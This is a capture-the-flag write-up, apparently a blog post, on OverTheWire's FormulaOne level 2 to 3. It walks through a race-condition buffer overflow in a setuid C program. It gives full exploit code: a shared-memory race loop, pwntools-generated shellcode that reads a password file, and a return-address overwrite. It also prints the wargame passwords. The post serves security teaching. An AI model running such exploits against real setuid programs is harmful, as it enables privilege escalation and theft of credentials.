FormulaOne: Level 2 -> Level 3

Dec 18, 2024

🚨

Spoiler alert: This post contains spoilers for overthewire's FormulaOne game. If you would like to solve this challenge on your own, then don't read ahead.

Background

This is the fourth part in a series of posts on overthewire's FormulaOne game. If you'd like to read the earlier posts, you can do so here:

Goal

We currently have the password for user formulaone2. We will need an exploit that will allow us to read the password for user formulaone3.

Setup

ssh formulaone2@formulaone.labs.overthewire.org -p 2232
Enter the password when prompted. At the time of this writing, it was: OvQAKUM3BrvbH4pKjBJBCOUpTGSDjNum

Analyzing the Code

Our target for this round is to find an exploit that involves the formulaone3 program. There is also the uncompiled formulaone3.c file - that's been purposely left behind for players to read the exploitable program. The reader may also notice the presence of formulaone3-hard - this is meant to just be a harder version of level 3. We'll exploit the hard version in the next post.

FormulaOne directory (light) Notice that both formulaone3 has the -rwsr-x permissions bit. This means that the program will execute with the permissions of the file owner (formulaone3).

formulaone3.C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <linux/shm.h>
#include <time.h>

// Four hardcoded memory address keys
unsigned int keys[] = {0xADCADC00, 0xADC00ADC, 0x00ADCADC, 0x0ADCADC0};

// The shared memory key to use. It will always be one of the four above
unsigned int SHMKEY;

// A struct that defines the size and content of a message
struct msg {
  int sz;
  char ptr[1024]; // Notice the buffer size is 1024
} msg;

struct msg *echo;

void doecho(){
  int shmid;
  char buf[256]; // Notice the buffer size is 256

  // Gets the id of the shared memory segment. 
  // Will create the segment if it does not yet exist
  shmid = shmget(SHMKEY, 8192, IPC_CREAT | 0777);

  // Attach to the shared memory, and read the address pointer to the shared mem segment
  echo = shmat(shmid, NULL, SHM_EXEC);

  // If sz is not zero
  if( echo->sz ) {
    // If sz is less than the size of buf (256)
    if( echo->sz < sizeof(buf)) {
      // Copy the shared memory segment to buf, and print to stdout
      printf("The msg is...\n");
      memcpy(buf, echo->ptr, echo->sz);
      printf("%s\n",buf);
    }
  }
}

int main(int argc, char *argv[]){
  // If user provides no input, do nothing
  if(!argv[1])return 0;

  // argv[1][0] gets the first character of the users input
  // &3 is a bitwise and operation
  // Basically, this does some bitwise math and guarantees that no matter
  // the user input, SHMKEY will be either 0, 1, 2 or 3
  // Essentially this is a modulo
  SHMKEY= keys[argv[1][0]&3];
  doecho();
}
The comments added are my own.

A note on System V IPC

📝

This challenge involves the use of System V shared memory - something I wasn't previously familiar with. This is one of three interprocess communication mechanisms available on most UNIX systems - the other two being message queues and semaphore. See the sysvipc man pages for more info.

On more modern systems, the POSIX api is preferred. See the shm_overview man pages for info on those.

What can we exploit?

Buffer overflow

Notice that the formulone3 program has two buffers of different sizes. The first buffer defined in the msg struct has a size of 1024. The second buffer defined in doecho() has a size of 256. Notice also that this progrma uses memcpy. This is considered to be an unsafe function because it can be exploited with a buffer overflow. All of these things together are strong evidence that we'll need to craft a buffer overflow.

Race condition

There is one additional complexity: if(echo->sz < sizeof(buf)). Because of this check, if we set the value of sz to anything larger than 255, the memcpy will be skipped. At first, this might seem to thwart our ambitions of buffer overflow. But that's not the case. There's an opportunity for a race condition. Our exploit will need to set the value of sz to be less than 256, so that the if condition passes. Then very quickly, the value of sz will need to be changed to something greater than 256.

Overflow PoC

A quick proof of concept will validate this idea. We'll have a C program that repeatedly flips the value of sz to be less than and greater than 256. The program will also fill the value of ptr with some nonsense values. If we see a segmentation fault when we run formulaone3, we'll have confirmation that we overflowed the buffer. It shouldn't take more than a few attempts to confirm this.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHM_SIZE 8192

unsigned int keys[] = {0xADCADC00, 0xADC00ADC, 0x00ADCADC, 0x0ADCADC0};

struct msg {
    int sz;
    char ptr[1024];
};

int main(int argc, char *argv[]) {
    unsigned int SHMKEY = keys[argv[1][0]&3];
    int shmid = shmget(SHMKEY, SHM_SIZE, IPC_CREAT | 0777);

    struct msg *shared_memory = shmat(shmid, NULL, 0);

    while (1) {
        // Setting the size so that this condition in formulaone3 passes:
        // if(echo->sz < sizeof(buf))
        shared_memory->sz = 255;
        memset(shared_memory->ptr, 'A', 255);
        shared_memory->ptr[255] = '\0';

        usleep(500);
        
        // Setting the size to overflow the buffer
        shared_memory->sz = 510;
        memset(shared_memory->ptr, 'B', 510);
        shared_memory->ptr[510] = '\0';

        usleep(500);
    }

    return 0;
}
Run this program in the background

Let the above program run in the background. Then in a separate window/and or the foreground, run formulaone3. After a few attempts, we'll see that we successfully overflowed the buffer.

Formulaone3 buffer overflow proof of concept (light) Overflow!

Crafting the exploit

We've proved that buffer overflow is possible. But now we need something useful to happen when the overflow is successful.

Checksec

We'll need to check what (if any) security checks the vulnerable program was compiled with. We can do that with the checksec utility.

$ checksec --file=/formulaone/formulaone3
RELRO         Partial RELRO
STACK CANARY  No canary found
NX            Nx enabled    # This means the stack is not executable
PIE           No PIE
RPATH         No RPATH
RUNPATH       No RUNPATH
Symbols       45 Symbols
FORTIFY       No
Fortified     0
Fortifiable   1
FILE          /formulaone/formulaone3
The exploitability depends on which security checks are in place

We can see that this program was compiled with a non-executable stack (Nx enabled). This means that when we overwrite the return address, we can't simply point it back into the payload buffer (which is on the stack). Instead, we will need the return address to point somewhere in shared memory (since that is executable).

Finding the return address

There are a number of ways to do this and I won't go into too much detail here since the post is already getting quite long. For my purposes GDB will be used to determine the return address offset. It is true that memory addresses can change across executions - but in this case, the offset will be consistent. For this vulnerable program, the offset is 272.

Crafting a payload

We'll craft a payload with the following components:

  • a nop sled (a string of "\x90"'s)
  • the shell code we want to execute
  • the return address that points to our shellcode

I haven't the time to hand craft shellcode. Luckily, pwntools has a utility that will do this on my behalf.

$ pwn shellcraft cat /etc/formulaone_pass/formulaone3 -f d
\x6a\x01\xfe\x0c\x24\x68\x6f\x6e\x65\x33\x68\x6d\x75\x6c\x61\x68\x2f\x66\x6f
\x72\x68\x70\x61\x73\x73\x68\x6f\x6e\x65\x5f\x68\x6d\x75\x6c\x61\x68\x2f\x66
\x6f\x72\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x6a\x05\x58\xcd\x80\x6a\x01\x5b
\x89\xc1\x31\xd2\x68\xff\xff\xff\x7f\x5e\x31\xc0\xb0\xbb\xcd\x80
The escaped hex code that will read the password file

Putting it all together

Now we can modify the PoC from earlier.

The exploitable buffer is 256 bytes long. And the shellcode is 74 bytes. So we will fill the first 182 bytes with no-ops. Following that is the shellcode. Then starting at the 272 offset will be a return address that points to the beginning of the shared memory. When the vulnerable program returns, execution will skip over the no-ops until hitting the shell code. If everything goes right, we'll see the password printed to the terminal.

Letting the exploit run in the background, in another window we execute /formulaone/formulaone3 until we see the password printed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHM_SIZE 8192

unsigned int keys[] = {0xADCADC00, 0xADC00ADC, 0x00ADCADC, 0x0ADCADC0};

struct msg {
    int sz;
    char ptr[1024];
};

// executes `cat /etc/formulaone_pass/formulaone3`
// 74 bytes long
const char shellcode[] = "\x6a\x01\xfe\x0c\x24\x68\x6f\x6e\x65\x33\x68\x6d\x75\x6c\x61\x68\x2f\x66\x6f\x72\x68\x70\x61\x73\x73\x68\x6f\x6e\x65\x5f\x68\x6d\x75\x6c\x61\x68\x2f\x66\x6f\x72\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x6a\x05\x58\xcd\x80\x6a\x01\x5b\x89\xc1\x31\xd2\x68\xff\xff\xff\x7f\x5e\x31\xc0\xb0\xbb\xcd\x80";

int main(int argc, char *argv[]) {
    if(!argv[1])return 0;
    unsigned int SHMKEY = keys[argv[1][0]&3];
    int shmid = shmget(SHMKEY, SHM_SIZE, IPC_CREAT | 0777);
    int vuln_buffer_len = 256;
    int nop_sled_len = vuln_buffer_len - sizeof(shellcode);

    struct msg *shared_memory = shmat(shmid, NULL, 0);

    // zero-out the shared memory
    memset(shared_memory->ptr, 0, sizeof(shared_memory->ptr));

    // nop sled
    memset(shared_memory->ptr, 0x90, nop_sled_len);

    // payload
    char *payload = shared_memory->ptr + nop_sled_len;
    memcpy(payload, shellcode, sizeof(shellcode));

    // the return address is going to be at offset 272 from the start of buf.
    // overwrite it to point into the payload.
    *(int*)(shared_memory->ptr + 272) = (int)(payload);

    while (1) {
        // Setting the size so that this condition in formulaone3 passes:
        // if(echo->sz < sizeof(buf))
        shared_memory->sz = 255;

        usleep(100);
        
        // Setting the size to overflow the buffer
        shared_memory->sz = 280;

        usleep(100);
    }

    return 0;
}

Success!

Formulaone3 password (light) At the time of this writing, the password was: Liqb5fEvP7IjKWZpoFOdYfQT494msxyv

In the next post, we'll go over the hard version of this exploit - that challenge involves getting past a stack canary.

Ryan McIntire